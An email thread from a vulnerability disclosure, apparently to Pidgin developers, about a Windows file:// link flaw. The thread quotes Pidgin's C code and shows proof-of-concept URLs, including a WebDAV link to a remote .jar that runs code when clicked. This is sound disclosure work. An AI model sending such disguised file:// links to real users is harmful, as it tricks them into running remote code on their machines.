PGP key for vulnerability reports

[Yves Younan]

So I looked at the code for this bug again and it looks like the behavior that you wanted to execute when someone provided a link with a file:// URL is: "explorer /select,url.”

Here is the code:
file_open_uri(GtkIMHtml *imhtml, const char *uri)
{
   /* Copied from gtkft.c:open_button_cb */
#ifdef _WIN32
   /* If using Win32... */
   int code;
   if (purple_str_has_prefix(uri, "file://"))
   {
       gchar *escaped = g_shell_quote(uri);
       gchar *param = g_strconcat("/select,\"", uri, "\"", NULL);
       wchar_t *wc_param = g_utf8_to_utf16(param, -1, NULL, NULL, NULL);

       code = (int)ShellExecuteW(NULL, L"OPEN", L"explorer.exe", wc_param, NULL, SW_NORMAL);

       g_free(wc_param);
       g_free(param);
       g_free(escaped);
   } else {
       wchar_t *wc_filename = g_utf8_to_utf16(
               uri, -1, NULL, NULL, NULL);

       code = (int)ShellExecuteW(NULL, NULL, wc_filename, NULL, NULL,
               SW_SHOW);

       g_free(wc_filename);
   }

However, due to the way the function is called, you’ll never actually have a URL that starts with file:// passed into that function:

#define FILELINKSIZE  (sizeof("file://") - 1)
static gboolean
file_clicked_cb(GtkIMHtml *imhtml, GtkIMHtmlLink *link)
{
   const char *uri = gtk_imhtml_link_get_url(link) + FILELINKSIZE;
   file_open_uri(imhtml, uri);
   return TRUE;
}

static gboolean
open_containing_cb(GtkIMHtml *imhtml, const char *url)
{
   char *dir = g_path_get_dirname(url + FILELINKSIZE);
   file_open_uri(imhtml, dir);
   g_free(dir);
   return TRUE;
}

i.e. before calling file_open_uri(), the calling functions are stripping out the scheme name if it’s a file:// url, so the comparison in the function will always fail.

The problem is that people can be tricked into executing code from a remote server (as shown with the web dav link: file://\\5.9.64.146\DavWWWRoot\test.jar) when passed a file:// url. They won’t even be able to see that they are clicking on a file:// link unless they see the tooltip. I consider that to be a pretty serious issue and not at all the same  behavior as any of the major browsers.

To see what your intended behavior is, you can try sending the following link file://file://c:\windows\notepad.exe. That will correctly execute explorer /select. Although ShOpenFolderAndSelectItems() may be a safer option to accomplish the same thing.


This issue also exists on other platforms:
In KDE:
	command = g_strdup_printf("kfmclient openURL %s", escaped);

So file:///usr/bin/konsole would be a URL that would work under KDE. Although KDE will ask before executing, unlike Windows.


-YY






On 27, Nov2013, at 11:58, Yves Younan <yyounan at sourcefire.com> wrote:

> 
> On 27, Nov2013, at 9:49, Daniel Atallah <datallah at pidgin.im> wrote:
> 
> 
> 
> 
>> 
>> It looks like this may be browser specific behavior (or perhaps OS specific).
>> I'm unable to to recreate this scenario on a Windows 7 test VM with the http handler set to Firefox 25.0.1 (I do have Java 1.7.0_45 registered as the handler for .jar files).
>> The ShellExecute call is what fails (returns ERROR_FILE_NOT_FOUND) - the same thing that happens when I try to invoke "file:///C:/windows/notepad.exe".
>> 
>> The behavior is clearly different than when using Start->Run with the same URL.
> 
> In Pidgin the URL is a little different: file://C:\Windows\notepad.exe is the correct URL to execute a program in Pidgin.
> Here’s also a .jar file that will execute (i.e. remote code execution) notepad with a file argument (C:\:users\desktop.ini): file://\\5.9.64.146\DavWWWRoot\test.jar (note this may take up to a minute the first time as it needs to connect and download etc.)
> 
>> 
>> That looks like what I'm hoping the browser would do (and the filtering that we've been counting on by sending everything to the browser).
>> 
>> I guess we probably should filter out "file" URLs using the file scheme, but if we can't trust the browser just blacklisting that scheme doesn't seem like it solves very much.
>> I don't like the idea of maintaining a blacklist of patterns that we should be filtering (or a whitelist either for that matter) - it isn't a reasonable thing for each application to maintain.
>> 
>> I won't have time to test this any time soon, but is it likely that we're only vulnerable if the browser isn't doing the right thing (based on my inability to recreate it above)?
>> 
>> What are the specifics of the OS and default browser configuration under which you were able to demonstrate the issue?
> I’ve tried it on multiple Windows 7’s 64 bit with default browsers being both firefox and chrome. Now the way you’re calling ShellExecute it doesn’t matter which browser is the default. You’re calling ShellExecute with “explorer.exe”. That will pass http:// etc URLs to the default browser as you expect, but it will handle file:// itself. That’s why you’re seeing a difference in behaviour. Open an explorer (not IE, the shell explorer) and enter file://C:\Windows\notepad.exe in the url bar there. You’ll see it executes the program. The same thing happens for the .jar file and this is the behaviour that Pidgin is exhibiting.
> 
> -YY